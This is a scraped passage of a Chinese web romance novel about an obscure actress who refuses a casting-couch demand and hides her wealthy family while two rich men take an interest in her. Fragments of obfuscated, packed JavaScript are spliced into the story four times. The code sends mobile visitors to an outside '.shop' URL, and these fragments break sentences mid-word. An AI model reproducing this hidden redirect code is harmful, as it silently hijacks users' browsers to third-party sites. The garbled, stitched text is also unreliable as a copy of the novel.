RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606420|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,至于绕这么大一圈?” “你什么意思?祝诗意,这可是我能给争取来最好的资源,你别给脸不要脸。” 舒雅芳此刻的脸色与又糊又焦的锅底无异,她压根没有想到平常看起来柔柔弱弱良善温顺的祝诗意实际上会这么叛逆,居然一而再再而三忤逆她。 “芳姐,作为公司的金牌经纪人,你说这话的时候自己不害臊么?你手上握着无数资源,想给谁就给谁,什么时候需要艺人卖身才能换取角色了?还是说卖身这一点,仅仅针对我一个人?” “你……!” “芳姐,消消气。” 舒雅芳还想大声斥责祝诗意,然而这个时候,祝依然推开办公室的门进来了。其他人自然是不可能在这会儿主动凑上来触霉头的,奈何祝依然是舒雅芳眼下最炙手可热的艺人之一,没办法,“销冠”就是有底气骑在老板头顶为所欲为。 舒雅芳瞧见祝依然,立即换上一副和蔼可亲的面孔,她笑着问,“依然,你这两天不是休假吗?怎么还到公司来了?” 变脸可真快。 祝诗意在内心不屑地嗤了一声,她拿起桌上的包,丢下一句,“没别的事我就先走了,总之饭局我是不会去的。” 说罢,她踩着高跟鞋离去。 “突然想起来还有点事情,所以过来了。”祝依然柔柔地说着,“芳姐,你和诗意刚刚都说了什么呀?怎么看上去这么生气。” “不重要,是祝诗意她不识抬举,以后可别后悔。” 舒雅芳哼了一口气。 “娱乐圈确实不好混,诗意进圈这么久了,也没什么成绩。不过芳姐,你知道诗意为什么到现在都没解约吗?” 祝依然自始至终都知道昔音娱乐的资源偏向了谁,她作为既得利益者,不可能真心实意为祝诗意说话。她只不过是好奇公司都这么压榨祝诗意了,动辄三四个月的空窗期,和被雪藏没什么两样,可即便是这种情况,祝诗意竟也不解约。 祝诗意哪怕去给当红小生拍mv,或是当平面模特,说不定都比在公司挣得多吧? 还不用受气。 “还能为什么,付不起违约金呗。” 舒雅芳翻过祝诗意的合同,和其他表演系大学生一样,祝诗意签的也是量身定制的霸王合约。昔音娱乐那几年专挑家里条件不好又急需用钱的大学生签约,天真又愚蠢。广撒网,总能捞着一条珍贵品种。 他们本以为祝诗意也是那个“珍贵品种”,没想到舒雅芳第一次带祝诗意参加饭局,祝诗意就把在场大佬得罪了。几年过去,祝诗意竟还是这么不长进。 “原来是这样。” 祝依然弯了弯唇,她搭上舒雅芳的手,说,“那诗意还是蛮可怜的。” “可怜之人必有可恨之处。” 舒雅芳恨恨地吐槽道。话锋一转,她又问,“依然你刚说自己是干什么的来着?用不用我帮你?” - 祝氏集团大楼。 祝方砚坐在总裁办公室,他处理完上午的工作,捏了捏眉心,眼前蓦地又浮现出早上在昔音娱乐看见的那张脸。 那女孩的脸凭空让祝方砚感到亲切与熟悉。 静了一会儿,祝方砚摇摇头,许是近日太累了,才让他生出了某种荒唐的念头。 4. 遇(4) 祝诗意一直觉着说“十八线”都是抬举自己,她的名气和存在感低到可以忽略不计。 但也正是因此,祝诗意才能自由自在地和小姐妹在商场逛街,不必担心会被粉丝围得水泄不通。毕竟祝诗意全网找不出一千活粉,而这些活粉散落在线下各地,密度稀疏到无限接近于零。 祝诗意衔着吸管,把上个星期所经历的事情当作笑话讲出来,她自己倒是不生气了,可坐在她对面的好友林书简被舒雅芳气得直拍桌。 “小心手疼。” 祝诗意趁林书简手抬起来的空档,她赶忙往林书简手掌心塞了个热乎的薯饼。 林书简愤愤地咬了口薯饼,含糊不清地说:“我就不明白了。虽说咱家是比不上云城有名的那几大世家,但你哥哥好歹也是钟意科技的总裁,冉冉升起的新贵。你干嘛非要在娱乐圈隐姓埋名,还给自己立了个穷苦无依的人设,白白受气?” 祝诗意满足地吸了一大口冰冰凉凉的橙汁,她抬眸,漂亮的眼睛望向窗外,喃喃道:“云城三大世家,昔音娱乐就有一位著名的千金大小姐。而这位大小姐恰巧不太喜欢我,我不想为我哥树敌。我要是真和祝依然杠上,祝家捏死我们就跟捏死一只蚂蚁一样简单。我哥一路走来不容易,我不想因为我的事情牵连他,让他的心血毁于一旦。” 听了这话,林书简愣了一下,她声音不自觉放低许多,“我倒是没想到这一层。你说得有道理,祝依然娇纵跋扈,一看就是自小娇生惯养被家里人宠着长大的。听说她哥祝方砚叱咤云城商界雷厉风行,几乎没人敢和祝氏集团作对,咱们普通老百姓还是离他们越远越好。” “是啊,”祝诗意狡黠地眨眨眼,“人家在云城有权有势一手遮天,我们家顶多算有点小钱,权是一点不沾。所以我呢,惹不起但躲得起。况且我哥不进来蹚这趟浑水,我在圈内反倒相对自在很多。再忍忍,等过两年我和昔音娱乐解约,日子说不定就好过起来了。” “但是,”林书简皱着眉,“如果,我是说如果,祝氏集团要是有心想查,会不会还是能查到你家啊?” “这种可能性……万分之一吧,别忘了我哥也不是吃素的。要真有那么一天再说吧,我就不信祝家一家子人都像祝依然那样蛮横无理。” 祝诗意喝光杯子里剩余的果汁,舒展手臂舒服地伸了个懒腰,随意逡巡的目光忽然定格在窗外某个角落。 她陡然怔住。 商场入口处的水潭喷泉旁站着一个气质极佳的男人,他单手插兜立在那里,眸光微沉,玫瑰色的夕阳浸染他半个身子,逼去他原本的冷冽,迫使他的轮廓变得柔和不少。 他好看倒是其次,重要的是,这个男人正是在景山大酒店对她出手相救的人。 林书简见祝诗意毫无征兆地发起了呆,像是被人抽走了魂,她伸手在祝诗意眼前晃了晃,狐疑地问:“回神了祝诗意,看什么呢?” “嗯?你刚说什么?” 祝诗意的目光重新回到餐桌,只见林书简的脸骤然在她面前放大,林书简盯着祝诗意的眼睛,“我问你还需不需要再加点吃的,你怎么不说话?刚才对着镜子神游,怎么,是被自己的美貌迷住了?” 祝诗意扬唇笑了下,她用叉子戳起一块薯饼,不急着放进嘴巴里,而是不由自主地又望向水池边。然而那个男人已经没了踪影,仿佛方才他站在那儿只是祝诗意天马行空的幻觉一般。 她的心空下去一块,轻微的失落占据祝诗意的神经末梢。 还没等祝诗意回答,林书简就握着祝诗意的手,说:“嘶,祝诗意,我一定是读书读傻了,刚才好像在街上看见我教授了。” 祝诗意打趣她,“那你要不要上去和你教授打个招呼?” 林书简起了一身的鸡皮疙瘩,她忙摇头,“不要。你都不知道我这门课的教授虽说长得很帅,气质绝佳,有时候穿西装还有点斯文败类那味儿。但他上课特别严肃,特古板一男的,我们都没人敢逃他的课。有一回我们系里一个女孩子想要他私人联系方式,教授只回了她两个字,你猜回的什么?” “还能回什么,肯定是拒绝了呗,该不会是已婚吧。” “已婚倒没有,听说教授没有女朋友。他当时回人家女孩子:多余。” …… 不知道是说女孩的行为多余,还是说人家心思多余,又或者说人家女孩站在那儿就多余。 但无论是哪一种,都挺伤人。 听林书简讲了这么多,祝诗意下意识在脑海里描摹这位教授的画像:多半会戴眼镜,穿黑西装,面料光滑挺阔,皮鞋擦得锃亮,大多数时候都不会笑,笑起来更让人毛骨悚然,眼神锐利,表情严肃…… 总结起来就是行走的古板老男人。 难怪林书简这个名副其实的颜控都不愿意上前打招呼。 感觉和这位教授打一回交道能折一年寿,夜里睡觉都得做噩梦那种。 - 祝诗意拒绝被李导潜规则这件事着实把舒雅芳气得不轻,舒雅芳许是为了让祝诗意多吃点苦头,好让她知道谁才是给她资源的那个人,接下来的三个月祝诗意竟没有收到一个合作邀请,哪怕是跑龙套的女N号都没有祝诗意的份儿。 对此祝诗意倒是乐得轻松。 接连几个月接不到戏,失去经济来源,若是换了别的女艺人,恐怕早就愁到睡不着觉。 但谁让祝诗意心大呢。 这几个月来,舒雅芳特地叫人盯着祝诗意的动向,她信心满满地自以为祝诗意最后一定会来和自己认错道歉,哪儿能料到她收到的消息都是这样的: “芳姐,祝诗意回学校上课了。” “芳姐,祝诗意好像两个星期都没出家门,不确定,我再看看。” “芳姐,祝诗意今天逛街去了,还在爱马仕拿了两个最新限定款的包,不像是穷得揭不开锅的样子。” …… 舒雅芳气得摔了一地的文件。 要不是看祝诗意长了一张堪称绝色的脸,仅就皮囊而言挑不出任何毛病,还有点利用价值,舒雅芳早就放弃祝诗意了。 舒雅芳皱着眉,问,“祝诗意哪儿来的钱买爱马仕?” Hermes一个限定款的包抵得上祝诗意一整年拍戏的片酬。 莫非祝诗意早就瞒着她私底下和别的男人有勾结了? “再给我盯紧一点,我就不信祝诗意连续几个月不拍戏,她就真的一点也不着急。” 事实证明。 拍不拍戏还真就对祝诗意半点影响都没有。 云城入秋,凉意渐浓,柏油路上落了一地金灿灿的枯叶,晚秋的凉意不会教人觉得寒冷刺骨,只会让祝诗意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606421|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打心底里感到舒服。 祝诗意这段时间在家里观摩了一部带有穿越元素的冷门古装偶像剧,与市面上其它几部大热古穿剧有所不同的是,这部戏中的穿越者是一个无足轻重的配角。 这个配角看似没有对主线剧情产生极大的影响,实际上她的存在与剧中每一个角色的命运都环环相扣。她身处局中,却又仿佛置身事外,用一只无形的手操控着剧中所发生的一切,最终在生命的末章用寥寥几笔为他们写下盖棺定论的判词。 祝诗意当初参加过女二号的选角,遗憾落败。成功被导演看中的那个人是一位带资进组的女爱豆,这个角色是那位女爱豆的第一部戏。 不得不承认这名女爱豆的团队眼光还算毒辣,尽管这部古装穿越偶像剧并没有像其它剧一样红得发紫,但在圈内也拥有了一定的讨论度。再加上爱豆的艺人团队向来擅长利用舆论造势,所以那名爱豆最终小小地火了一把,为她后续顺利拿下别的资源打下基础。 倘若那个时候祝诗意恳请哥哥帮她一把,那她是不是就不会错过这个角色? 明明差一点就成功了的。 祝诗意的表演说服了导演,却没能赢过制片人和背后的资本。 时至今日,祝诗意想起这件事仍然觉得很可惜。 可惜到祝诗意闲来无事就会到颐和园“故地重游”。 当然,戏是在横店拍的,只不过故事真正发生在颐和园。 祝诗意围着一条米白色的针织围巾,穿着约莫到小腿肚那么长的咖色风衣,顺着人流随意地向前走。 她将自己当作一名再普通不过的云城游客,可祝诗意的目光落在微波粼粼的湖面,抬眸瞥见不远处的楼台水榭,听到远方传来厚重的钟声,她仍会身临其境地想起故事的最后,穿越者面带微笑伏在案边死去。 祝诗意不可避免地叹了口气。 实在不行,等她从昔音娱乐离开的时候,让哥哥投资请人翻拍这个剧本吧,正好祝诗意觉得这个本子还有很多可以修改的地方。 这么一想,祝诗意的日子好似又有了盼头。 殊不知祝诗意站在廊桥上眺望远方,而她身侧几十米外的亭子里,同样也有人注视着她。 谈惟瑾望见祝诗意单薄的身影,她站在晚风里,缥缈的如同落在肩头的那片金黄色的银杏叶。 谈惟瑾抿了抿唇。 “救我,求您了。” 此刻这个看上去有些惆怅,又略显空灵的侧影和那晚在包厢苦苦哀求他的模样截然不同。 那天晚上,谈惟瑾从景山大酒店回去就调查了祝诗意,不出一个小时,谈惟瑾就拿到了所有可调取的与祝诗意有关的资料。 谈惟瑾洗完澡,躺在床上合了眼,她的模样依旧清晰地浮现在脑海中。 皮肤白皙,只要稍微用力便能在上面留下粉红色的痕迹。 脖颈细长,不出意外,他一只手便能掐住。 她那一双眸含情脉脉,盛着秋日里最后一滴未干的露水。 谈惟瑾只觉喉咙干燥。 这样漂亮的人,应当被他用一张厚实的天鹅绒毯子裹起来,锁在他的地盘小心翼翼地呵护着。 不该让别人都能看到她的美貌。 谈惟瑾想。 祝诗意既是艺人,谈惟瑾“恰巧”有戏要与她合作。 5. 遇(5) 谈惟瑾从来没住过学校给他提供的教师住处,他家就在颐和园附近,离景山大学与颐和园不过几公里路程,极为方便,因此谈惟瑾闲暇之时常来这边散步。 这是谈惟瑾第一次在颐和园遇见祝诗意。 但是谈惟瑾并没有主动上前和祝诗意打招呼,尽管他的目光自打见到祝诗意那刻起,便一直驻足于她。 祝诗意对此一无所知。她一个人沿着湖边悠闲地逛着。直至天色渐晚,夜幕降临,拂在面上的晚风明显比下午低了好几个度,祝诗意这才捂紧自己的风衣,和人群一齐离开园内。 “先生。” 管家恭敬地弯下腰,为谈惟瑾点燃指尖的香烟。 谈惟瑾吐出两个烟圈,收回视线,说,“去问问小姐,她最想拍的剧本是什么。” “是。” 谈惟瑾口中的“小姐”指的是谈夏,他同父异母的妹妹谈夏,谈夏小谈惟瑾整整10岁,就读于景山电影学院导演系,大学二年级。 谈惟瑾年方三十,自幼丧母,像他这样的家族,父亲续弦并非稀奇事。陆子衿嫁给谈云安没多久就怀了谈夏,谈夏自小就跟在谈惟瑾屁股后面一口一个哥哥的喊,谈惟瑾对这个妹妹说不上有多宠溺,但该护的该给的,谈惟瑾从未短缺过谈夏。 就是谈夏立志要当知名大导演这件事,谈惟瑾颇有微词。 谈惟瑾不太喜欢抛头露面,同样不喜欢家里人抛头露面。 哪怕谈夏不厌其烦地和谈惟瑾解释过许多次:“哥!我是导演,又不是演员,我属于幕后工作人员,幕后你懂吗?” 谈惟瑾对谈夏的说辞不置可否。 因为只要和娱乐圈扯上关系,那么对谈惟瑾来说没什么分别。 谈惟瑾不仅有一个立誓要当大导演的妹妹,如今他又对一个默默无闻的女艺人生出了点意趣,某种意义上来讲也算是造化弄人。 “周伯,你说什么?” 谈夏一般都回家里住,也省去了周管家打电话的功夫。 她听见周管家的问题,难以置信地从沙发上跳起来,声音拔高了,说,“我哥问我最想拍又拍不到的剧本是什么?这真是我哥问的?他不是最看不起我们这些混娱乐圈的了嘛。” 谈夏转念一想,盯着周伯那张刻满岁月痕迹的脸看了许多,哼了一口气,“我哥问这个干什么?难道我说了他就会大发善心拨几个亿的资金给我?还是说我哥看上了哪个女演员,打算砸钱捧她?” “好像后者的可能性更大一点。” 谈夏喃喃自语。 周伯擦了擦额上的冷汗,毕恭毕敬地如实回答,“先生只命我传话,并没有说别的话。小姐若是有疑问,可以直接去问先生,先生这会儿应当在书房。” “那还是算了,”谈夏赶忙摆摆手,“书房是我哥的禁地,我才不会在这时候打扰他呢。行,那我知道了周伯,我想到以后会自己和我哥说的。” “好的,小姐。那我先下去了,您有事随时吩咐。” 大约过了半个小时,沉迷冲浪的谈夏收到谈惟瑾两条微信消息: 「?」 「周伯的问题,答案。」 谈夏抬起头望了眼二楼,书房的门紧闭着,兄长应当是在书房里还没出来。谈夏靠在沙发上,翘着腿打字:「哥你怎么突然问我这种问题,你什么时候也对娱乐圈感兴趣了?」 「别废话。」 谈夏唉声叹气,她哥果然还是一如既往地惜字如金,就连“虚心求问”都是这种高高在上的态度。 没办法,谁让他是谈惟瑾呢。 「哥,我现在最想拍的本子有两个,一个古装剧,叫《长生殿》。另外一个是现代都市剧,叫《越轨》。哦对,这两个都是由小说改编的,所以我说的是原著的名字,之后会不会改我还不知道。」 「剧本发我。」 看到谈惟瑾回复的这四个字,谈夏立刻从沙发上坐直了,她盯着手机,暗自嘀咕:“不会吧,难道我哥真打算进军娱乐圈了?” 《长生殿》和《越轨》均出自知名作者之手,是自带热度的大ip,这两部小说目前还处于溜饼的状态,稍微有点名气的制作方都盯着这两块大饼,都想把饼装进自己的麻袋里。 谈夏平常的零花钱不足以购买小说版权,她只能对着天价版权费以及拍戏制作所需的一系列资金望而却步。 谈夏缺钱,谈惟瑾有的是钱。若非早知道兄长不喜她在娱乐圈折腾,谈夏早就一哭二闹三撒娇找谈惟瑾要投资了。 眼下太阳打西边出来,兄长居然主动问起她想拍的剧本。虽不清楚兄长的用意,但谈夏还是觉得自己应当抓紧这次机会。 「哥,我又没钱买版权,而且小说都还没开拍呢,哪儿来的完整剧本给你。不过我这里倒是有一部分故事梗概和改编的想法,你想要哪一本的?」 「都要。」 谈夏从文件传输助手中找到她保存过的《长生殿》与《越轨》大致的故事梗概,她满怀希冀地给谈惟瑾发过去,接下来的几个小时,谈夏左等右等,等到眼皮子不分青红皂白互相打起了架,她都没等到谈惟瑾的回复。 “果然还是我想多了。” 谈夏蹬着拖鞋,垂头丧气地上楼回房间。 谈惟瑾怎么可能当真支持她在娱乐圈大展身手呢? 然而第二天的七点四十分,晨光熹微之时,谈夏还在睡梦中,她的手机屏幕亮起,上面赫然是谈惟瑾的回复: 「《长生殿》,我给你投五个亿,但是有要求。」 - “老板,你打算就这么一直和芳姐僵持下去吗?” 莫嘉蓝是祝诗意的贴身助理,她给祝诗意端了杯热可可,问。 实际上以祝诗意的咖位,昔音娱乐根本没有给她配备助理,就连艺人出行的保姆车祝诗意都只能用公司的公车,每次出行还要提交申请的那种。 莫嘉蓝是祝诗意自己给自己雇的助理,也是祝诗意直接给莫嘉蓝发工资。祝诗意今年二十一岁,还在景山电影学院读大三,然而莫嘉蓝大学毕业两年了,如今二十四岁,她叫祝诗意“姐姐”或者“诗意姐”总归不太合适,所以莫嘉蓝一般都称呼祝诗意为老板。 恰好祝诗意也很喜欢这个称呼。 她本来就打算等和昔音娱乐解约之后,不再签任何经济公司,而是开一家属于她的个人工作室。 带着小莫一起,届时工作室里的大家都得喊祝诗意老板。 “不然还能怎么办?难道我要向她低头赔罪?又或者指望她意识到潜规则是不对的,主动来和我握手言和?小莫,你肯定知道这两种情况不管是哪一种都不现实。我和舒雅芳就这样耗着吧,说不定哪一天她意识到我没有利用价值,二话不说就放弃我了。” 祝诗意喝了半杯热可可,满足地眯起眼睛,“今天的饮品还不错。” 她嗜甜,酷爱各种各样的甜品。别的女明星会因为害怕发胖而将奶茶蛋糕视为洪水猛兽,可祝诗意天生肠胃不好,吃什么都不吸收,胃病让她在保持身材这方面因祸得福。 祝诗意无所谓地笑笑,她问:“怎么,担心我发不出你的工资啊?” “老板,我不是这个意思。” 小莫脸一红,想到她许是说错了话,赶忙道歉。 祝诗意接着说,“要是用那些肮脏龌龊的手段才能获得资源的话,那我宁可不要。我知道就算我不去做,这个圈子里还是会有无数的人前仆后继去做这种事,但那都不是我。放心吧小莫,你老板就算暂时没有戏拍也饿不死。” 祝攸每个月往祝诗意账上打的零花钱高达七位数。 不过这没必要让小莫知道。 毕竟她在公司的人设可是平平无奇的普通大学生,离不开家里接济。 “我知道了,老板。” 莫嘉蓝犹豫了下,说,“老板,我还想说……不管以后发生什么,我都会一直跟着你的。我没有开玩笑,我是认真的。” 莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606422|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉蓝当初大学毕业根本找不到合适的工作,是祝诗意不嫌弃她没有实习经历,还愿意给她一份薪水不错的工作,让她得以在云城生活下去。 祝诗意这份恩情,莫嘉蓝会好好记在心里。 “嗨,忽然说这些做什么。走吧,和老板我去吃火锅。” 祝诗意起身,她拍拍莫嘉蓝的肩膀,笑说。 莫嘉蓝拎起祝诗意的围巾和包,乖乖跟在她后面。 她们乘电梯下楼时遇到了祝依然。 祝诗意掀了掀眼皮,全当做打过招呼。祝诗意在景山电影学院读书,祝依然读的却是景山大学的艺术学院,这两所学校在云城人心中有一道难以跨越的壁垒,景山大学自是要比景山电影学院难考许多,因此祝依然在娱乐圈内还有一个“美女学霸”的人设。 两个人几乎同一时间签约昔音娱乐,但祝诗意从一开始就和祝依然不太对付,当年如此,今日亦如此。要不是为了装装样子,祝诗意连招呼都不想和祝依然打。 祝依然绿茶段位修炼得炉火纯青,旁人看不出来,祝诗意瞧得清楚。这三年来祝依然在圈内立人设的时候,可没少借祝诗意的东风。 #两大美女名字如此相似,但命运截然不同# 这个词条已经成为了昔音娱乐内部的长青八卦,只要祝诗意和祝依然同时出现在百米以内,必定会有人对此津津乐道。 祝依然是打着“云城第一千金大小姐”的名号进娱乐圈的,无人不知她是祝家货真价实的千金大小姐,她也从没想过隐瞒身份,反而利用此为自己谋了不少福利。 这也是为什么祝诗意会和林书简说“惹不起我还躲不起吗”。 都姓祝,都有一个被称为“祝总”的兄长。 但无论何时,钱与权二者能获取的资源,能掌控的局势从来都不在同一水平的天秤。 祝诗意不想给祝攸惹麻烦。 所以她宁愿给自己立“穷苦无依”的人设,也不愿意让无关人员知晓她哥哥是钟意科技的总裁。 祝依然看了眼轻松愉悦的祝诗意,她眸光微变,关心道:“不知道诗意这段时间在忙什么?好像都没有听到你进组的消息。” “上学,逛街,看电视,我能干的事情还是挺多的,不劳祝大明星费心。” 和祝依然多呆一秒祝诗意都觉着胸腔发闷,任谁都能听出她的语气有多敷衍。 程莹莹听了这话,顿时就不乐意了,“哎你什么态度,我们依然是好心关心你,不识好歹。” “是吗?那谢谢两位。” 祝诗意丢下这句话,潇洒走人。 程莹莹跺了跺脚,看着祝诗意上了一辆奔驰车后座,她呸了一口,说,“神气什么,本来就没名气,她都快四个月没拍戏了,我看娱乐圈马上就要查无她人了吧。” “依然,我们走吧,别跟她一般见识,她不配。” “嗯,走吧。” 祝依然面上不显,只嘴角微微扬起一丝弧度,程莹莹的话显然极大取悦了她。 她是不应当再花心思关注祝诗意,这样做只会自降身价。 祝诗意是奔着火锅来的星悦广场,然而她想吃的那家火锅店排队实在排得太长了,她取了号,上面显示三个小时后才有空座。 “小莫,要不然我们还是去吃别的吧,改天等人少了再来吃火锅。” “老板,我都听你的。” 就这样,祝诗意和莫嘉蓝转身进了一家西餐厅,她们挑了处安静的位置坐下。 点好了餐,祝诗意打电话和祝攸报备行程:“哥,我在外面吃饭呢。我知道的哥,你也是,按时吃饭好好休息,早点回家。” 听到这两声脆生生的“哥”,坐在她们前桌的祝方砚视线偏了偏,他望见玻璃上映出祝诗意的侧脸,动作一怔。 他又见到了那个小姑娘。 小姑娘的眉眼和母亲的眉眼几乎是一个模子里刻出来的。 这世上怎么会有长相这么相似的人? 6. 遇(6) 祝方砚上一次,也是第一次见到祝诗意已经是近四个月前的事情了。 那时祝方砚坐在兰博基尼后座,隔着玻璃远远地望了一眼,那短暂的一瞥只让祝方砚对祝诗意有了一个模糊的印象。后来祝方砚坐在办公室再想起祝诗意,他只会觉得是自己先入为主才有了“祝诗意和母亲长得很像”的想法。 毕竟人的记忆并不总是可靠的。 但是现在祝诗意就坐在祝方砚背后,窗户上映出来的侧颜令祝方砚感到心惊胆战。这已经不仅仅是普通的相似了,说是一比一复刻描摹都不为过。 祝方砚甚至想直接打电话给父母,问他们家里是不是还有一个多年流落在外的小女儿。 当然,祝方砚也认为他这样的念头极其荒谬,可若是父母与他同在一处,他们亲眼见到这个小姑娘,也必然会感到吃惊的。 祝方砚扶了下眼镜,他的手指屈起来,轻轻扣着桌面,发出的声响微不足道,被淹没在餐厅悠扬的音乐中。 他是从公司过来吃饭的,身上还穿着纯白色的西装,一尘不染,很配祝方砚周遭清冷的气息。 彼时祝诗意已经和祝攸打完了电话,她叫来侍应生,又点了杯莫吉托。紧接着,祝诗意对莫嘉蓝说:“我去趟洗手间。” “好的老板。” 祝诗意起身路过祝方砚的餐桌,听到祝诗意要加饮品,祝方砚垂眸看了眼自己这身整洁的白色西装,蓦地有了一个主意。 他添了一杯橙色气泡水。 祝诗意很快就从洗手间回来了。 恰逢侍应生端着盘子走过来。 祝方砚目光一动,他算准时间站起来,正好和迎面而来的祝诗意撞上。祝方砚“手抖”了一下,没拿稳侍应生递来的杯子,橙色的透明液体洒了祝方砚一身,那片印记在雪白的西装面料上格外刺眼。 祝诗意顿在原地,连忙和眼前这位陌生的男人道歉:“不好意思先生。” 从祝诗意的角度来看,明显是她回来时没有仔细看路,才不小心撞到了这位准备离去的先生,怎么想都是她的过错。 祝方砚表面毫无波澜,说话的口吻很是温和,“没关系,不怪你,是我没注意。” 然而祝方砚越是大度,祝诗意心里就越过意不去,她招招手,示意莫嘉蓝将她的手机拿过来。 “这位先生,实在不好意思。”祝诗意说着就打开了微信界面,“您这西装看上去就挺贵的,您出示一下收款码,我直接赔您钱吧。” 收款码? 赔钱? 祝方砚不乐意。 他想套来的是祝诗意的联系方式,可不是一笔区区的转账。 见祝方砚迟迟没有动作,祝诗意抬起头,有那么一瞬间,她为这个男人的容貌感到惊讶,但很快祝诗意的表情就恢复如初。 她试探着又问了一句:“先生?” 祝方砚抿直唇,他看了眼腕表,说:“我还有事,这位小姐要是真心想赔我,不如留个联系方式,我们日后再谈。” 一听说他要联系方式,祝诗意脑海里的警报立即就拉响了。 从小到大花式碰瓷,以各种蹩脚的理由和借口问祝诗意要联系方式的异性可从来都不少,莫非面前这个人也是来碰瓷的?不然她怎么会这么巧刚好撞到他身上? 祝诗意看他的眼神变了。 祝方砚也察觉到了这一点,他暗道不好。 他“碰瓷”的手段好像确实有点低级。 祝方砚咳了一声,摆出他在高层会议上那副六亲不认的冰山态度,淡淡地反问:“这位小姐方才还说要赔我,怎么,这是又后悔了?” “没有。” 祝诗意大方地将微信名片递出去,“你扫我还是我扫你?” 大不了转完账再把他删了就行,又不碍事。 祝方砚从西装口袋中拿出手机,申请添加祝诗意为好友,祝诗意痛快地点了通过,她说:“您有空了把账单发我手机上就行。” “嗯,再会。” 祝方砚说完,他迈着长腿离开。走出距离餐厅大约两百米的距离,祝方砚才上了车。 “开车,回洗云庭。” “是,祝总。” 助理小刘从后视镜瞧见自家大少爷西装上那一大片难以入目的水渍,他多次欲言又止,到底还是在半路问出了口:“祝总,您的衣服……” “没什么。” 反正是他故意搞成这样的。 一套白西装换小姑娘一个联系方式,不亏。 只可惜祝诗意加上祝方砚好友之后没有给他发一条消息,连张打招呼的表情包都没发,聊天框沉静的像凌晨三点的后海。 生得这么漂亮,在昔音娱乐工作,身边还跟着一个大学生长相的女孩,恐怕和妹妹祝依然一样,这个小姑娘也是昔音娱乐的艺人吧? 不过他从前怎么没留意过娱乐圈还有这样一个小姑娘呢? 祝方砚点进祝诗意的朋友圈,里面空空如也,只显示一条孤零零的横线。 …… 祝方砚不傻,他自然知晓这条横线代表着什么。 那个小姑娘刚加上他,毫不犹豫就把他屏蔽了。 祝方砚摇摇头,她的眉眼始终挥之不去,他想他应当采取一些措施来慢慢获取这个小姑娘的消息。 - “老板,你刚才是不是被碰瓷了?正常人第一时间想的不都是赔钱了事吗?他怎么不要钱,偏偏要你的联系方式啊。” 莫嘉蓝在座位上围观了刚才发生的一切,等祝诗意坐下来了,她才说。 “随便吧,反正想碰瓷的也不止他一个。大不了等他把账单发我,我把钱转过去了直接拉黑就行。” 经过这么一个插曲,祝诗意再没有耐心享用美食的心情。她简单地吃了点小食,刚要的莫吉托只喝了小半杯就觉得浑身乏味。 “走吧。” “好的老板,我开车送你回去。” “嗯。” 莫嘉蓝的驾照是给祝诗意当助理以后才考到手的,起先莫嘉蓝还不敢怎么开车,时间一久,开得次数多了,莫嘉蓝也算是对云城的路况驾轻就熟。 祝诗意不喜欢与无关人员有太多的牵扯,也不愿意时常惦记一件未竞的琐事。距她回到家已经过去了两个小时,她仍然没有收到那位陌生男人的账单,她只好主动发消息问他: 「您好,请问账单有了吗?」 祝诗意回想了一下,她晚上撞到的那个男人很有气质,看上去和兄长差不多的年纪。他腕上的手表可是百达翡丽,西装应当也不怎么便宜。 这个男人多半和她的兄长一样是同龄人中的佼佼者,云城的商业成功人士,或许也是哪家公司的总裁,再不济也是集团中的高层管理者。 这样的人,怎么就喜欢碰瓷呢? 难道说她想多了? 可是明明转账只需要一分钟,快刀斩乱麻就能解决的事情,他又为什么要延后呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606423|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「账单的事不急。」 在书房办公的祝方砚收到祝诗意的消息,他如此回复道。 「方便问问该怎么称呼你么?」 祝诗意眉头紧锁:这人该不会真的是故意碰瓷的吧? 设计引她把饮品倒在他的西装,套到她的联系方式,再一步一步获取信任,最后……财和感情一起骗走。 要是十八岁的祝诗意,这会儿可就上了他的当了。 然而这个时候的祝诗意已然在娱乐圈这个五颜六色的大染缸里浸泡了整整三年,可以说是什么乱七八糟的杀猪盘方式都见过了,她可没那么清澈愚蠢。 「先生,您有了账单以后请记得发给我。或者我现在将您的微信推给我的助理,她来对接,我就不和您联系了。」 这是准备删他好友了。 祝方砚打字:「抱歉,账单我一时没找到,找到后会立刻发过去,你再等等。」 